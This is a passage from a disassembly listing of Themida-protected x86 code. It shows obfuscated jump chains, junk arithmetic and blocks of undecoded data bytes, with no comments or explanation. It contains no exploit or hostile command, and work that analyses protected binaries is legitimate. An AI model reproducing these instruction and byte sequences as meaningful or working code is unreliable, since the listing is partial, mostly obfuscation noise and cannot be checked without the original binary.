loc_6483BF:				; CODE XREF: Themida_:00640569j
		inc	ecx
		push	esi
		mov	esi, 4A52639Fh
		xor	ecx, esi
		jmp	loc_640334
; ---------------------------------------------------------------------------
		db 89h,	14h, 24h
		dd 9543AFBAh, 0FFD03178h, 835A2434h, 0C1E904C4h
		db 26h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_6483E3:				; CODE XREF: Themida_:006410F0j
		mov	ecx, 66A2792Eh


loc_6483E8:				; DATA XREF: Themida_:005FB012o
		add	edx, ecx
		pop	ecx
		add	edx, 46F80377h
		add	edx, edi
		sub	edx, 46F80377h
		push	ebx
		mov	ebx, 66A2792Eh
		sub	edx, ebx
		jmp	loc_6424D0
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	2327h
		mov	[esp], ebx
		jmp	loc_63EDC2
; ---------------------------------------------------------------------------
aLHxb		db '<$hb',0
		align 4
		dd 0E9243C89h, 0FFFF9F78h, 24048B66h, 0FFA9E4E9h, 0EC815AFFh
		dd 4, 68241C89h, 7DEDh,	0BD242C89h, 20D8265Ah, 0C099FABBh
		dd 224AE90Dh, 489FFFFh,	572E6824h, 6EE90000h, 56FFFF63h
		dd 0C681E689h, 4, 4C681h, 34870000h, 9881E924h,	815AFFFFh
		dd 532B7EC6h, 81CE017Ch, 532B7EEEh, 7EEE817Ch, 815A440Fh
		dd 554E9BC6h, 2434FF6Ch, 4C48159h, 0E9000000h, 0FFFF6F23h
; ---------------------------------------------------------------------------


loc_6484A4:				; CODE XREF: Themida_:00646558j
		push	esi
		mov	esi, 6B8D73FAh
		add	[esp+4], esi
		pop	esi
		pop	ebp
		push	edi
		mov	edi, 295E76A2h
		neg	edi
		shr	edi, 6
		shl	edi, 3
		and	edi, 17485B69h
		add	edi, 594D62D2h
		sub	ebp, edi
		jmp	loc_642D5F
; ---------------------------------------------------------------------------
		db 5Fh,	89h, 0DDh
		dd 83241C8Bh, 455A04C4h, 291CE952h, 815BFFFFh, 81EA52C2h
		dd 34C2DD1h, 3DE93BBBh,	0FFFFFFDDh, 0CCE92434h
		db 48h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_6484FB:				; CODE XREF: Themida_:00643C2Aj
		pop	eax
		add	eax, 4
		jmp	loc_63E7BB
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 0E54FE904h, 1C89FFFEh, 0E915B724h, 0FFFEF52Ah
; ---------------------------------------------------------------------------


loc_648518:				; CODE XREF: Themida_:0063768Dj
		pop	edx
		add	ebx, edi
		mov	[ebx], ecx
		pop	ebx
		mov	ecx, [esp]
		push	ecx
		jmp	loc_63FA4D
; ---------------------------------------------------------------------------
		db 68h
		dd 0D50h, 81242489h, 42404h, 48F0000h, 24048124h, 4, 5724048Fh
		dd 4BFh, 247C0100h, 52E95F04h, 89FFFED0h, 0C7815AD7h, 61A066D0h
		dd 0EF81D701h, 61A066D0h, 840E95Ah, 5166FFFFh, 0D033E99Ch
		dd 0E6C0FFFEh, 80D6F604h, 0F0280DC6h, 0C8B665Ah, 2C48124h
		dd 66000000h, 0E9241C8Bh, 0FFFFD4C2h
; ---------------------------------------------------------------------------


loc_648590:				; CODE XREF: Themida_:0063F6A0j
		push	ebx
		jmp	loc_63A693
; ---------------------------------------------------------------------------
		dw 5457h
		dd 4C7815Fh, 83000000h,	8E904C7h, 5AFFFF04h, 0FEFCD7E9h
		dd 25805FFh, 0C50512F3h, 0E96A2637h, 0FFFF8D75h, 881E852Dh
		dd 4875920h, 24248B24h,	0E9240C89h, 0FFFF5AFDh,	70B168h
		dd 24248900h, 0D3C9E953h, 0F828FFFFh, 0FFBB5EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_6485E5:				; CODE XREF: Themida_:0064A23Cj
		add	esi, 0FFFFFFFFh
		or	esi, 741A42B1h
		jmp	loc_641B40
; ---------------------------------------------------------------------------
		dw 8158h
		dd 0B965A8EAh, 0DCFCE956h, 0F781FFFFh, 3FFA6004h, 8107E7C1h
		dd 0D62D0DEFh, 2C8157C7h, 0B31ADB24h, 0BD555A56h, 56B31ADBh
		dd 8B5DEA01h, 0C481243Ch, 4, 0D3BA5253h, 0BB53CF52h, 8EB3A43Fh
		dd 815AD329h, 0B84C1EE3h, 613FE913h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_648646:				; CODE XREF: Themida_:0064A324j
		push	ebp
		push	0
		pop	ebp
		jmp	loc_6408D9
; ---------------------------------------------------------------------------
aAA		db ')',0
		db 0E3h, 8Bh, 4
		dd 0E7895724h, 0FEFE45E9h, 4BB53FFh, 81000000h,	0EC67E7EFh
		dd 68DF0157h, 5407h, 0BB241C89h, 57EC67E7h, 0FEF037E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_648685:				; CODE XREF: Themida_:0064A157j
		pop	esi
		jmp	loc_64548A
; ---------------------------------------------------------------------------
		db 81h
		dd 9B6C78E7h, 81DFF71Ah, 796F28E7h, 14B9E900h, 248BFFFFh
		dd 0C8B60F24h, 21D68h, 0F128E900h, 0E389FFFEh, 4C381h
		dd 0EB830000h, 241C8704h, 48F545Ch, 2ABD5524h, 0D1040945h
		dd 0F58145E5h, 8128A51h, 4246C01h, 0FFF55CE9h, 0B7E95BFFh
		db 0D8h, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_6486DF:				; CODE XREF: Themida_:0064A78Aj
		mov	[esp], eax
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		jmp	loc_649F29
; ---------------------------------------------------------------------------
		db 0ACh
		dd 0F6F4B151h, 7E1C0D1h, 30DAB753h, 0C1805BF9h,	425C6826h
		dd 1C890000h, 5189B724h, 22B4E9h, 4C48100h, 0E9000000h
		dd 0FFFF4EF4h, 1A9FF781h, 0FA896D1Ch, 8BD0015Fh, 0C4832414h
		dd 24048704h, 6624248Bh, 6824048Bh, 2170h, 0E9241489h
		dd 0FFFF93E4h
; ---------------------------------------------------------------------------


loc_648744:				; CODE XREF: Themida_:0063CA00j
		push	ebp
		push	1A33h
		mov	[esp], edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], esp
		push	ecx
		push	eax
		jmp	loc_64469C
; ---------------------------------------------------------------------------
		db 58h,	5Dh, 81h
		dd 1C1BE1F5h, 56555945h, 0CE46ECBEh, 13EE8171h,	0E93339FAh
		dd 0FFFF62E2h, 0D451E959h, 248BFFFFh, 8BF20124h, 0C4812434h
		dd 4, 8904EC83h, 4B9240Ch, 0E9000000h, 0FFFF94E9h
; ---------------------------------------------------------------------------


loc_6487A8:				; CODE XREF: Themida_:0063654Fj
		add	ebp, ebx
		jmp	loc_63D5E1
; ---------------------------------------------------------------------------
		db 8Bh
		dd 38E92404h, 8BFFFF9Ah, 0C483241Ch, 172C04h, 9DE951D0h
		dd 83FFFFF2h, 248904ECh, 24048124h, 4, 0E924048Fh, 0FFFF1F9Eh
		dd 0EF81DF01h, 3CF15532h, 0DCE6E95Bh, 8966FFFFh, 0F66240Ch
		dd 0B6E9C8B6h, 0B8FFFEF0h, 4, 0E958C201h, 0FFFEFD28h, 5C240C87h
		dd 0E9240C89h, 0FFFF45FDh, 8146D6F7h, 0E55F3BC6h, 4815604h
		dd 4B1A5C24h, 0E981592Ch, 2C4B1A5Ch, 0AB96E95Eh, 34FFFFFFh
		dd 2BE95E24h, 0F7FFFF6Ch, 68E581DDh, 0C148AA35h, 0ED8107E5h
		dd 35EF3E95h, 895DEB89h, 136EE9DFh, 0C890000h, 7BE95324h
		db 0BEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_64885B:				; CODE XREF: Themida_:00648C01j
		pop	esi
		pop	ebx
		xor	ebx, offset dword_507E50
		pop	edx
		inc	ebx
		inc	ebx
		jmp	loc_648CE5
; ---------------------------------------------------------------------------


loc_64886B:				; CODE XREF: Themida_:00647A0Bj
		push	3B93h
		jmp	loc_645065
; ---------------------------------------------------------------------------


loc_648875:				; CODE XREF: Themida_:0063C440j
		pop	eax
		add	edx, 299413B3h
		jmp	loc_63C532
; ---------------------------------------------------------------------------


loc_648881:				; CODE XREF: Themida_:00645F43j
		add	dl, ah
		add	dl, 0CAh
		sub	dl, 23h
		pop	eax
		push	6F16h
		mov	[esp], eax
		mov	ah, 0C1h
		push	ebx
		mov	bh, 86h
		neg	bh
		neg	bh
		sub	bh, 70h
		jmp	loc_63F8C3
; ---------------------------------------------------------------------------
		db 68h
		dd 4, 245C015Bh, 2434FF04h, 0FFCEF0E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_6488B5:				; CODE XREF: Themida_:00644F9Bj
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	eax
		push	3FBDh
		mov	[esp], ebx
		mov	ebx, 8B85236h
		push	edx
		jmp	loc_635B64
; ---------------------------------------------------------------------------
		dd 0B3E9505Eh
		db 0B0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_6488D7:				; CODE XREF: Themida_:0063B1E8j
		add	ebx, eax
		pop	eax
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 42BE58DCh
		shr	esi, 6
		and	esi, 26763D02h
		jmp	loc_640D90
; ---------------------------------------------------------------------------
		dw 77FFh
		dd 58669D1Ch, 9C240410h, 0F43E9h
		db 0
; ---------------------------------------------------------------------------


loc_648905:				; CODE XREF: Themida_:0064089Ej
		push	esi
		jmp	loc_63C7B6
; ---------------------------------------------------------------------------
		db 87h
		dd 20E9242Ch, 89FFFFA3h, 4C181E1h, 83000000h, 0C8704C1h
		dd 93F6E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_648926:				; CODE XREF: Themida_:00638BE5j
		add	esp, 4
		add	esi, 4
		push	edx
		push	ecx
		push	545A306Ch
		pop	ecx
		add	ecx, 0B5516BAh
		jmp	loc_63E146
; ---------------------------------------------------------------------------


loc_648942:				; CODE XREF: Themida_:0064AA2Aj
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], ebp
		mov	ebp, 1AF61834h
		inc	ebp
		add	ebp, 4EE500E7h
		shr	ebp, 8
		shl	ebp, 2
		jmp	loc_6400E0
; ---------------------------------------------------------------------------
		db 81h
		dd 0CC2FEEEAh, 8BD18976h, 0C4812414h, 4, 3359CF01h, 3C31243Ch
		dd 243C3324h, 0FF4753E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_648985:				; CODE XREF: Themida_:0063CFD9j
		xor	edi, [esp]
		xor	[esp], edi
		push	53ACh
		mov	[esp], eax
		mov	eax, 1
		push	eax
		push	41C82FF1h
		pop	eax
		sub	eax, 29E16569h
		jmp	loc_646D0E
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 4EC8153h, 0E9000000h, 0FFFFCE43h
; ---------------------------------------------------------------------------


loc_6489B8:				; CODE XREF: Themida_:00648199j
		mov	[esp], esi
		mov	esi, 2
		push	15CEh
		mov	[esp], esi
		pop	ebp
		jmp	loc_64075D
; ---------------------------------------------------------------------------
		dw 0D801h
		dd 490DBB05h, 0C9BE5641h, 0C103062Fh, 0D6F706E6h, 0F361EE81h
		dd 0F0012744h, 0A9B9515Eh, 0E942E029h, 0FFFFE277h
; ---------------------------------------------------------------------------


loc_6489F4:				; CODE XREF: Themida_:00649746j
		pop	ebp
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		jmp	loc_63EF49
; ---------------------------------------------------------------------------


loc_648A03:				; CODE XREF: Themida_:0064347Bj
		add	ebp, 4
		sub	esp, 4
		jmp	loc_639F0E
; ---------------------------------------------------------------------------
		dd 71E9CBFEh, 0C1FFFEF9h, 0F18104E9h, 7965BB2h,	14F2E9h
		db 0
; ---------------------------------------------------------------------------


loc_648A29:				; CODE XREF: Themida_:00647CF6j
		pop	ecx
		mov	ebp, [esp]
		add	esp, 4
		sub	[edi+24h], ecx
		pop	ecx
		jmp	loc_63D684
; ---------------------------------------------------------------------------
		db 81h,	0EAh, 0FFh
		dd 0F7FFFFFFh, 9ABE56D2h, 1E98AC9h, 4E95EF2h
		db 0FBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_648A4F:				; CODE XREF: Themida_:006391BBj
		xor	edx, ecx
		pop	ecx
		jmp	loc_6422B0
; ---------------------------------------------------------------------------
		db 1
aBG		db 'ʁ',27h,'G',0
		db 56h
		dd 8529BABEh, 5EF22920h, 51240C8Bh, 1D32E9h, 2434FF00h
		dd 0FF8E09E9h, 4CC381FFh, 8B186210h, 89572404h,	4C781E7h
		dd 0E9000000h, 0FFFEDCA0h, 34FFE829h, 0F8E95D24h, 5BFFFEFAh
		dd 4C381h, 0B9510000h, 4, 0FEFAABE9h, 0C8B66FFh, 0E6895624h
		dd 4C681h, 0BF570000h, 27EA2D2Fh, 4708EFC1h, 4069E781h
		dd 0C14F086Bh, 0B85006E7h, 43A574E9h, 39767F35h, 564C2D42h
		dd 0E8C12D4Bh, 59A42504h, 0D5053D94h, 2D4CFE09h, 51320895h
		dd 0E958C731h, 0DCDh
; ---------------------------------------------------------------------------


loc_648AF8:				; CODE XREF: Themida_:0063680Cj
		mov	esp, [esp]
		pop	edx
		push	4D04h
		jmp	loc_647FBE
; ---------------------------------------------------------------------------
		dw 0BE56h
		dd 68347506h, 0D1DEF74Eh, 0F7E6D1EEh, 47EE81DEh, 0E93D0E62h
		dd 0FFFF582Fh
; ---------------------------------------------------------------------------


loc_648B20:				; CODE XREF: Themida_:00639080j
		mov	ebx, 5FF156FCh
		add	edx, ebx
		pop	ebx
		pop	ebp
		xchg	edx, [esp]
		mov	esp, [esp]
		or	eax, eax
		jnz	loc_64757C
		mov	edx, 2FD038C4h
		shl	edx, 4
		shl	edx, 2
		push	eax
		mov	eax, 195464Fh
		xor	edx, eax
		jmp	loc_638DEE
; ---------------------------------------------------------------------------


loc_648B4F:				; CODE XREF: Themida_:00635DE5j
		pop	edi
		not	edi
		jmp	loc_648E38
; ---------------------------------------------------------------------------
		db 89h
		dd 0E954241Ch, 0FFFFCEB3h, 2414F752h, 8741E95Ah, 248BFFFFh
		dd 44FEE924h, 0E181FFFFh, 68F7155Ah, 0FED818E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_648B7D:				; CODE XREF: Themida_:00645907j
		shr	edi, 8
		not	edi
		sub	edi, 0FF7A2E6Bh
		add	ebp, edi
		pop	edi
		jmp	loc_63A274
; ---------------------------------------------------------------------------


loc_648B90:				; CODE XREF: Themida_:00640E3Bj
		mov	eax, edi
		pop	edi
		sub	esp, 4
		mov	[esp], eax
		add	dword ptr [esp], 6B94D67h
		pop	edx
		sub	edx, 6B94D67h
		jmp	loc_6375CF
; ---------------------------------------------------------------------------


loc_648BAC:				; CODE XREF: Themida_:0063601Fj
		jmp	loc_6355A5
; ---------------------------------------------------------------------------
		db 89h,	0Ch, 24h
		dd 0C181E189h, 4, 4C181h, 0C330000h, 0C7DFE924h, 0C89FFFFh
		dd 7963E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_648BD2:				; CODE XREF: Themida_:006441C6j
		push	esi
		mov	esi, 4
		add	eax, esi
		pop	esi
		xchg	eax, [esp]
		mov	esp, [esp]
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		sub	esp, 4
		mov	[esp], edi
		mov	edi, esp
		jmp	loc_63B0B2
; ---------------------------------------------------------------------------


loc_648BF8:				; CODE XREF: Themida_:00647816j
		mov	esi, offset dword_507E50
		xor	[esp+4], esi
		jmp	loc_64885B
; ---------------------------------------------------------------------------
aHfi		db ']hFi',0
		align 4
		dd 0FF9532E9h, 241C89FFh, 0FFB5F7E9h, 3E0C1FFh,	45551D05h
		dd 2E4B0D62h, 0E8C162D7h, 5D0F708h, 0E6FF83h, 0FF0BA2E9h
		dd 4EC81FFh, 89000000h,	481243Ch, 5136AE24h, 0EB815B4Dh
		dd 4D5136AEh, 88E3815Fh, 8128042Eh, 0FBD184C3h,	0F64AE9D7h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_648C5E:				; CODE XREF: Themida_:00638352j
		pop	eax
		pop	ebx
		add	ebx, 4
		add	ebx, 4
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		mov	esp, [esp]
		jmp	loc_6355A5
; ---------------------------------------------------------------------------
		db 58h,	52h, 0BAh
		dd 4, 0E95AD001h, 0FFFED5A8h
; ---------------------------------------------------------------------------


loc_648C8C:				; CODE XREF: Themida_:0063EBB8j
		xor	esi, 0E854FA57h
		or	ebx, esi
		pop	esi
		shr	ebx, 6
		add	ebx, 28DE0EAAh
		shl	ebx, 6
		sub	ebx, 0A75AE63Ch
		add	ecx, ebx
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_639895
; ---------------------------------------------------------------------------
		dd 1D4CE950h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_648CBA:				; CODE XREF: Themida_:0063ADF9j
		mov	esi, 4B7D6C35h
		jmp	loc_648322
; ---------------------------------------------------------------------------


loc_648CC4:				; CODE XREF: Themida_:0063F7E7j
		push	edx
		jmp	loc_6457F2
; ---------------------------------------------------------------------------
		dw 8953h
		dd 4C381E3h, 81000000h,	4C3h, 241C8700h, 24048B5Ch, 0FF6243E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_648CE5:				; CODE XREF: Themida_:00648866j
		push	edx
		mov	edx, 0
		add	edx, 49073AABh
		sub	edx, ebx
		sub	edx, 49073AABh
		push	edx
		jmp	loc_63F00D
; ---------------------------------------------------------------------------
		dd offset dword_62A140+28h
		align 4
		dd 52243489h, 4BAh, 348B5200h, 6AEFE924h, 5DBEFFFFh, 81767429h
		dd 7548AEF6h, 5CEA812Eh, 810DA369h, 66693EC2h, 81F2014Dh
		dd 66693EEAh, 5CC2814Dh, 5E0DA369h, 0FF3F2FE9h,	0BDB252FFh
		dd 0E9DEE280h, 0FFFFA2F3h
; ---------------------------------------------------------------------------


loc_648D4C:				; CODE XREF: Themida_:006376E7j
		mov	ecx, 4
		add	esi, ecx
		pop	ecx
		jmp	loc_64710C
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 0E9240C8Bh, 0FFFF8950h
; ---------------------------------------------------------------------------


loc_648D64:				; CODE XREF: Themida_:006409E7j
		xchg	edx, [esp]
		pop	esp
		jmp	loc_63C494
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	edx
		mov	edx, 4
		add	ebp, edx
		pop	edx
		jmp	loc_64910D
; ---------------------------------------------------------------------------
		dd 5C24048Fh, 0FF9D20E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_648D8D:				; CODE XREF: Themida_:00637806j
					; Themida_:006481E9j
		push	edx
		jmp	loc_642DC4
; ---------------------------------------------------------------------------


loc_648D93:				; CODE XREF: Themida_:00635BC6j
		add	ebx, 792A52C1h
		sub	ebx, ebp
		sub	ebx, 792A52C1h
		pop	ebp
		add	ebx, eax
		jmp	loc_63BD92
; ---------------------------------------------------------------------------
		db 87h,	34h, 24h
		dd 48F545Ch, 24048124h,	4, 83242C8Bh, 0D3E904C4h, 5FFFED9h
		dd 13701826h, 1950BA52h, 2BE96A01h, 59FFFF7Eh, 0FFB395E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_648DD9:				; CODE XREF: Themida_:00641F83j
		pop	ebp
		pop	edi
		add	edi, 3D440202h
		jmp	loc_64046A
; ---------------------------------------------------------------------------
		dw 0BAE9h
		db 0C7h, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_648DEB:				; CODE XREF: Themida_:0063DF73j
		xor	ebp, 216F6996h
		sub	ebp, 5AC046EBh
		add	edx, ebp
		jmp	loc_648180
; ---------------------------------------------------------------------------


loc_648DFE:				; CODE XREF: Themida_:0063A629j
		xchg	ebx, edi
		add	edi, 31760E23h
		xor	esi, edi
		mov	edi, [esp]
		add	esp, 4
		push	51E1h
		mov	[esp], esi
		mov	edx, [esp]
		jmp	loc_642A9F
; ---------------------------------------------------------------------------


loc_648E21:				; CODE XREF: Themida_:00649BA9j
		mov	[esp], ecx
		jmp	loc_63EFC0
; ---------------------------------------------------------------------------
		db 55h,	0E9h, 0F2h
		dd 30FFFED3h, 0E99C2404h, 0FFFEC76Dh
; ---------------------------------------------------------------------------


loc_648E38:				; CODE XREF: Themida_:00648B52j
		xchg	edi, esi
		xor	edi, esi
		xor	esi, edi
		xor	edi, esi
		xchg	edi, edx
		push	edx
		jmp	loc_644339
; ---------------------------------------------------------------------------
		dd 34FFCD29h, 0CE29E924h, 8957FFFEh, 4C781E7h, 83000000h
		dd 3C8704C7h, 0E9525C24h, 0FFFFD4E2h
; ---------------------------------------------------------------------------


loc_648E68:				; CODE XREF: Themida_:006428A6j
		mov	ecx, [esp]
		add	esp, 4
		push	edx
		jmp	loc_63DF20
; ---------------------------------------------------------------------------
		dd 8B24048Fh, 0F7662424h, 4EC81F9h, 89000000h, 0E6892434h
		dd 5B216851h, 815915CBh, 1E9h, 3DE18100h, 81569677h, 7A10F5E9h
		dd 2FF18152h, 1C20842h,	895359CEh, 4BF57E3h, 1000000h
		dd 0EB815FFBh, 4, 0FED784E9h, 32FF64FFh, 0FEC6DCE9h, 240C33FFh
		dd 0E9240C31h, 0FFFF0953h, 55240C8Bh, 6F9968h, 24248900h
		dd 0FEDB5DE9h, 0E38953FFh, 0FF41FDE9h, 0ABC581FFh, 16A20BAh
		dd 34FF5DE8h, 0B198E924h, 3489FFFFh, 62BA5224h,	0BE6FA42Fh
		dd 6FA42F66h, 7FE6EE81h, 0D6294482h, 26F1B850h,	0F793765Eh
		dd 585350D3h, 0C6DE95Bh, 0B951FFFFh, 4,	0C8BCA01h, 4C48124h
		dd 81000000h, 4EAh, 24148700h, 240C895Ch, 146803B9h, 96C98169h
		dd 4952A033h, 0C11DE953h, 0FA89FFFFh, 81243C8Bh, 4C4h
		dd 3EAC100h, 2A2EE281h,	0DAF71C1Ah, 0E956E2D1h,	861h, 0D911C581h
		dd 0EA31F31Eh, 1918E95Dh, 0BD55FFFFh, 7C0176B0h, 0B4E9E801h
		db 0CAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_648F8F:				; CODE XREF: Themida_:0063FD0Dj
		xor	eax, 3893AE78h
		mov	ecx, eax
		mov	eax, [esp]
		jmp	loc_649E59
; ---------------------------------------------------------------------------


loc_648F9E:				; CODE XREF: Themida_:006393EFj
		add	ebp, ebx
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		add	ebp, 4
		push	ebp
		push	dword ptr [esp+4]
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_63A41C
; ---------------------------------------------------------------------------


loc_648FBD:				; CODE XREF: Themida_:00635D12j
		and	ecx, edi
		mov	edi, [esp]
		jmp	loc_63BCF6
; ---------------------------------------------------------------------------
		db 81h
		dd 411BA7C3h, 56514B35h, 334207BEh, 642CE9AAh, 74BFFFFFh
		dd 31663471h, 17A9E9FAh, 248BFFFFh, 4896624h, 0C5B3E924h
		dd 1489FFFEh, 0E99C5024h, 0FFFEC5A9h, 5C243487h, 0FED26DE9h
		dd 0C28158FFh, 4, 5C241487h, 0FECC36E9h, 28BB53FFh, 0E93CD81Dh
		dd 0FFFFF119h, 5C6EC381h, 0EC8341FAh, 24148904h, 0FEE384E9h
		dd 242C89FFh, 4BDh, 2EEE8100h, 816FBE52h, 0BE2356EEh, 81EE0157h
		dd 0BE2356C6h, 54E95357h, 33000011h, 4312404h, 24043324h
		dd 66E9F65Ch, 50CCB60Fh, 0A1E9E089h, 8BFFFFBDh,	0EE9240Ch
		dd 8FFFFF09h, 248B2404h, 7F64E924h, 3489FFFFh, 0F92BE24h
		dd 0F4E93B42h
		db 48h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_64908B:				; CODE XREF: Themida_:0063CD5Dj
		push	edi
		mov	edi, 3B626821h
		dec	edi
		jmp	loc_63C58A
; ---------------------------------------------------------------------------
		db 0BDh
		dd 1D4157B9h, 7CE9EE29h
		db 6Ah,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_6490A3:				; CODE XREF: Themida_:00642CABj
		pop	esi
		sub	ebx, 2B043CA8h
		add	ebx, edi
		push	ecx
		jmp	loc_64535E
; ---------------------------------------------------------------------------


loc_6490B2:				; CODE XREF: Themida_:0063EBEBj
		push	dword ptr [esp]
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_63B242
; ---------------------------------------------------------------------------
		dd 0E9E78853h, 0FFFF8544h, 8083F780h, 91E9FFEFh, 5FFFFF85h
		dd 0FED8ABE9h, 405FFh, 0D1E90000h
		db 0D3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_6490E3:				; CODE XREF: Themida_:00644A6Bj
		xchg	ecx, ebp
		pop	ecx
		push	eax
		mov	eax, esp
		push	edi
		push	ecx
		mov	ecx, 4CA756ABh
		mov	edi, ecx
		pop	ecx
		push	ecx
		mov	ecx, 0B358A959h
		jmp	loc_636B32
; ---------------------------------------------------------------------------
		dw 0E3D1h
		dd 0EB81D3F7h, 0DA0903E1h, 0FF3245E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_64910D:				; CODE XREF: Themida_:00648D7Fj
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		jmp	loc_6409D7
; ---------------------------------------------------------------------------


loc_649118:				; CODE XREF: Themida_:0063B553j
		push	edi
		push	ecx
		xor	dword ptr [esp], 5A4475C7h
		pop	edi
		xor	edi, 5A4475C7h
		jmp	loc_647B59
; ---------------------------------------------------------------------------
		db 28h,	0F3h, 50h
		dd 0D8F6EDB0h, 492C2B0Ch, 26C380h, 26EB80C3h, 0FF3DECE9h
		dd 8BD109FFh, 12E92414h
		db 0, 2	dup(0FFh)
; ---------------------------------------------------------------------------


loc_64914F:				; CODE XREF: Themida_:00639FADj
		mov	ecx, eax
		pop	eax
		xor	ecx, 3E45042Eh
		sub	ecx, 5C74393Eh
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 412C249Ah
		jmp	loc_646516
; ---------------------------------------------------------------------------
		db 81h,	0EBh, 1
		dd 11EF967h, 1C381FBh, 0E91EF967h, 0C49h
; ---------------------------------------------------------------------------


loc_649184:				; CODE XREF: Themida_:006417CEj
		mov	dword ptr [ebx], 0
		mov	ebx, [esp]
		add	esp, 4


loc_649193:				; CODE XREF: Themida_:0063B34Aj
		push	ecx
		mov	ecx, esp
		push	45CFh
		jmp	loc_6426A7
; ---------------------------------------------------------------------------


loc_6491A0:				; CODE XREF: Themida_:0064777Bj
		push	edx
		mov	edx, 266E15AFh
		mov	ebp, edx
		pop	edx
		add	ebp, 0FFFFFFFFh
		inc	ebp
		sub	ebp, 0CCE8B56Ch
		jmp	loc_63BD28
; ---------------------------------------------------------------------------


loc_6491BB:				; CODE XREF: Themida_:006408D4j
		add	ecx, edi
		add	ecx, 0AF2074h
		pop	edi
		push	ebp
		push	edi
		mov	edi, 25EC1165h
		mov	ebp, edi
		pop	edi
		or	ecx, ebp
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_644C22
; ---------------------------------------------------------------------------
		db 0BBh
		dd 41490DBBh, 0E95BD829h, 0FFFFF7E6h, 1B88E381h, 16E93C51h
		dd 1FFFFC5h, 0EC8158C5h, 4, 51241489h, 483ABEB9h, 0C2EEE92Dh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_64920A:				; CODE XREF: Themida_:0063DC98j
		mov	[esp], ebx
		mov	ebp, [esp]
		add	esp, 4
		push	ebx
		sub	esp, 4
		jmp	loc_637859
; ---------------------------------------------------------------------------


loc_64921F:				; CODE XREF: Themida_:00637DC6j
		add	esp, 4
		sub	ebp, 0FFFFFFFFh
		jmp	loc_63CD02
; ---------------------------------------------------------------------------
		dd 6768DDBAh, 0B85001h,	29000000h, 7DE992D0h
		db 40h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_649243:				; CODE XREF: Themida_:0063B6B3j
		push	edi
		jmp	loc_6455B1
; ---------------------------------------------------------------------------
		db 29h,	0C6h, 58h
		dd 0C681C601h, 3814F45h, 3099BD55h, 0ED811E4Bh,	7D7258AAh
		dd 0C583E5D1h, 60E95201h, 81FFFF6Bh, 0AF3737EBh, 0E9DA2984h
		dd 0FFFEE695h, 6B345635h, 612D4857h, 89291D54h,	24048BC1h
		dd 0FFDE41E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_64928D:				; CODE XREF: Themida_:00641590j
		mov	ebp, [esp]
		add	esp, 4
		add	edi, 492F5089h
		jmp	loc_649B1E
; ---------------------------------------------------------------------------
		db 0ADh, 31h, 0D8h
		dd 45A16853h, 2D5B093Fh, 3D7F0E51h, 1702BA52h, 0D02969B9h
		dd 0C4BF575Ah, 4F3BBA42h, 4960F781h, 0F8016C7Fh, 6E93E95Fh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_6492CE:				; CODE XREF: Themida_:00639BBEj
		add	edi, 3A9169Fh
		mov	ecx, edi
		jmp	loc_641C6C
; ---------------------------------------------------------------------------
		db 51h
		dd 0E5C064B5h, 0F7CD8003h, 8004EDC0h, 22E9C7CDh
		db 68h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_6492EF:				; CODE XREF: Themida_:00649F41j
		or	eax, 532B56CCh
		not	eax
		push	ebp
		mov	ebp, 5F47520Ch
		and	eax, ebp
		pop	ebp
		push	edi
		jmp	loc_63C5D9
; ---------------------------------------------------------------------------


loc_649305:				; CODE XREF: Themida_:0063F1BDj
		add	edx, ecx
		pop	ecx
		jmp	loc_649B90
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 4
aUhzc		db '$UhC',0
		dw 8900h
